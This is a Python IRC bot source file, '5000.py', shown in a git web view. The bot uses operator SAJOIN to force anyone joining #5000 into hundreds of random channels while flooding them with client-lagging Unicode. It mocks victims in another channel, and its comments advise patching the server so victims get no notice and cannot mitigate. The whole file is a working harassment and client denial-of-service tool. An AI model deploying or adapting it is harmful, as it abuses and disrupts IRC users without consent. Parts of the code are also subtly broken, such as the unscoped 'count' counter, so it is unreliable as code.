tools

- collection of tools for supernets sysadmins
git clone git://git.acid.vegas/tools.git
Log | Files | Refs | Archive

5000.py (3733B)

      1 #!/usr/bin/env python
      2 # -*- coding: utf-8 -*-
      3 # 5000 IRC Bot - Developed by acidvegas in Python (https://git.acid.vegas/supertools)
      4 
      5 '''
      6 This bot requires network operator privledges in order to use the SAJOIN command.
      7 The bot will idle in the #5000 channel and #superbowl.
      8 Anyone who joins the #5000 channel will be force joined into 5000 random channels.
      9 It will also spam corrupting unicode that lags some IRC clients.
     10 It will announce in #superbowl who joins the #5000 channel.
     11 The command .kills can be used to see how many people have been 5000'd.
     12 Join #5000 on irc.supernets.org for an example of what this does to an IRC client.
     13 Modify your IRCd to not send a NOTICE on SAJOIN so people will not be able to mitigate it.
     14 Bot is setup to handle abuse, aka people clone flooding in #5000 to try and break the bot.
     15 '''
     16 
     17 import os
     18 import random
     19 import socket
     20 import string
     21 import ssl
     22 import time
     23 import threading
     24 
     25 nickserv_password='CHANGEME'
     26 operator_password='CHANGEME'
     27 
     28 def rnd():
     29 	return ''.join(random.choice(string.ascii_letters) for _ in range(random.randint(4, 8)))
     30 
     31 def unicode():
     32 	msg='\u202e\u0007\x03' + str(random.randint(2,13))
     33 	for i in range(random.randint(200, 300)):
     34 		msg += chr(random.randint(0x1000,0x3000))
     35 	return msg
     36 
     37 def attack(nick):
     38 	try:
     39 		raw(f'PRIVMSG #superbowl :I am fucking the shit out of {nick} right now...')
     40 		count += 1
     41 		if not count % 10:
     42 			with open(log, 'w') as log_file:
     43 				log_file.write(count)
     44 		for i in range(200):
     45 			if nick not in nicks:
     46 				break
     47 			else:
     48 				channels = ','.join(('#' + rnd() for x in range(25)))
     49 				raw(f'SAJOIN {nick} {channels}')
     50 				raw(f'PRIVMSG #5000 :{unicode()} oh god {nick} what is happening {unicode()}')
     51 				raw(f'PRIVMSG {nick} :{unicode()} oh god {nick} what is happening {unicode()}')
     52 				time.sleep(0.3)
     53 	except:
     54 		pass
     55 	finally:
     56 		if nick in nicks:
     57 			nicks.remove(nick)
     58 
     59 def raw(msg):
     60 	sock.send(bytes(msg + '\r\n', 'utf-8'))
     61 
     62 # Main
     63 log   = os.path.join(os.path.dirname(os.path.realpath(__file__)), '5000.log')
     64 last  = 0
     65 nicks = list()
     66 if not os.path.isfile(log):
     67 	open(log, 'w').write('0')
     68 	count = 0
     69 else:
     70 	count = open(log).read()
     71 while True:
     72 	try:
     73 		sock = ssl.wrap_socket(socket.socket())
     74 		sock.connect(('localhost', 6697))
     75 		raw('USER 5000 0 * :THROWN INTO THE FUCKING WALL')
     76 		raw('NICK FUCKYOU')
     77 		while True:
     78 			try:
     79 				data = sock.recv(1024).decode('utf-8')
     80 				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
     81 					print('{0} | [~] - {1}'.format(time.strftime('%I:%M:%S'), line))
     82 					args = line.split()
     83 					if line.startswith('ERROR :Closing Link:'):
     84 						raise Exception('Connection has closed.')
     85 					elif args[0] == 'PING':
     86 						raw('PONG ' + args[1][1:])
     87 					elif args[1] == '001':
     88 						raw('MODE FUCKYOU +BDd')
     89 						raw('PRIVMSG NickServ IDENTIFY FUCKYOU ' + nickserv_password)
     90 						raw('OPER 5000 ' + operator_password)
     91 						raw('JOIN #superbowl')
     92 						raw('JOIN #5000')
     93 					elif args[1] == '401' and len(args) >= 4:
     94 						nick = args[3]
     95 						if nick in nicks:
     96 							nicks.remove(nick)
     97 					elif args[1] == 'JOIN' and len(args) == 3:
     98 						nick = args[0].split('!')[0][1:]
     99 						chan = args[2][1:]
    100 						if chan == '#5000' and nick not in ('acidvegas', 'ChanServ', 'FUCKYOU') and len(nicks) < 3 and nick not in nicks:
    101 							nicks.append(nick)
    102 							threading.Thread(target=attack, args=(nick,)).start()
    103 					elif args[1] == 'PRIVMSG' and len(args) == 4:
    104 						chan = args[2][1:]
    105 						msg  = ' '.join(args[3:])[1:]
    106 						if chan == '#superbowl' and msg == '.kills' and time.time() - last > 3:
    107 							raw('PRIVMSG #superbowl :' + str(count))
    108 							last = time.time()
    109 			except (UnicodeDecodeError, UnicodeEncodeError):
    110 				pass
    111 	except:
    112 		sock.close()
    113 	finally:
    114 		time.sleep(15)